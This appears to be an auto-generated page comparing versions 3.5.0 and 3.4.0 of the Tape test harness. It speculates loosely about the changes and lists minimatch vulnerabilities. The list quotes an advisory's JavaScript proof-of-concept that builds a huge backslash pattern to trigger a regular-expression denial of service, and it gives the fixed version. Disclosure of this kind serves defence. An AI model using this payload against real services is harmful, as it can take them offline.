Tape is a TAP-producing test harness for Node.js and browsers, designed for simplicity and ease of use. Comparing versions 3.5.0 and 3.4.0, the most notable change is the release date. Version 3.5.0 was released on January 30, 2015, while version 3.4.0 came out on January 19, 2015. This suggests that version 3.5.0 includes bug fixes, minor improvements, or potentially new features introduced within that 11-day window.
Looking at the dependencies and devDependencies, both version share identical requirements. This indicates that the core functionality and supporting libraries used by Tape remained consistent between the two versions. Developers upgrading from 3.4.0 to 3.5.0 likely won't encounter compatibility issues related to dependency updates. For developers using Tape, both versions offer a clean and straightforward testing experience. The consistent dependencies further suggest stability and reliability. The small jump in version number between the releases probably imply a patch or minor update, making either version a solid choice for projects aiming for simple yet effective testing.
When choosing which version to install, developers might prefer the newer 3.5.0 release, with the aim of taking advantage of the latest fixes and incremental improvements. This version is the more recent and most likely considered the up-to-date.
All the vulnerabilities related to the version 3.5.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.